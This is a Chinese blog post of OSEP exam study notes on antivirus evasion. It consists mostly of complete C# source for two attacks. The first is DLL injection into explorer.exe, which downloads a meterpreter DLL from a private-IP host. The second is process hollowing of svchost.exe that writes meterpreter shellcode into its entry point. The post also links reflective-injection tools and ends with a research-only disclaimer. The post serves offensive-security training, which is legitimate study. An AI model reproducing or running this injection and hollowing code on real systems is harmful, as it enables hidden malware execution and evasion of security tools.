关于笔记形式和学习方法请看OSEP学习之路 | 开篇
本篇是第二部分“免杀基础”技术的上部,笔记基本是按照教材梳理的,章节不是一一对应,因为有些内容合并后更好理解
3.7-Dll注入
3.7.1-远程进程DLL注入
dll注入可以更隐蔽,实现无进程
直接上代码
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace ProcessInjection
{
class Program
{
[ ]
static extern uint GetLastError();
[ ]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[ ]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[ ]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[ ]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[ ]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[ ]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
String dll = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dll + "\met.dll";
WebClient wc = new WebClient();
wc.DownloadFile("http://192.168.203.214/met.dll", dllName);
Process[] expProc = Process.GetProcessesByName("explorer");
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid); // 0x001FFFFF ?
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
Console.WriteLine(hThread);
}
}
}
在向任意进程中注入dll,尽量不使用 .NET framework的DLL,避免runtime不够
3.7.2-反射DLL注入
避免文件落地,使用反射方式注入
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
https://github.com/stephenfewer/ReflectiveDLLInjection
3.8-进程镂空(Process Hollowing)
原理可以自行网上搜索,直接上代码,使用时替换shellcode即可
using System;
using System.Runtime.InteropServices;
using System.IO;
namespace ProcessHollowing
{
class Program
{
[ ]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[ ]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
private struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public UIntPtr AffinityMask;
public int BasePriority;
public UIntPtr UniqueProcessId;
public UIntPtr InheritedFromUniqueProcessId;
}
[ ]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[ ]
static extern UInt32 ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen);
[ ]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[ ]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesWriten);
[ ]
private static extern uint ResumeThread(IntPtr hThread);
static void Main(string[] args)
{
//Console.WriteLine("Start");
//Console.WriteLine("Shell spawing");
// #1 in order to call CreateProcess, we need to prepare param STARTUPINFO as a input with all default values
STARTUPINFO si = new STARTUPINFO();
// #2 pi is the output of CreateProcess
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// #3 0x4 CREATE_SUSPENDED
bool res = CreateProcess(null, "C:\Windows\system32\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
// use ZwQueryInformationProcess for ProcessInformation, provide bi as PROCESS_BASIC_INFORMATION
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
// img base addr at bi+0x10
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebBaseAddress + 0x10);
// read a value with length of a IntPtr, get the addr of imagebase
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
// convert the result to a ptr, this ptr is pointing to MZ file.
// read approxiately 0x200 size of data, which should be enough to get PE info
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
// 0x3c
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);
// 0x28 to get rva
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
// x64/meterpreter 443
byte[] buf = new byte[649] {... };
WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);
ResumeThread(pi.hThread);
//Console.WriteLine("End");
}
}
}
进程镂空是OSEP考试必考,主要用于免杀,是必须要掌握的
坚持自律做最好的自己
原文始发于微信公众号(高级红队专家):OSEP | 免杀基础-下
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论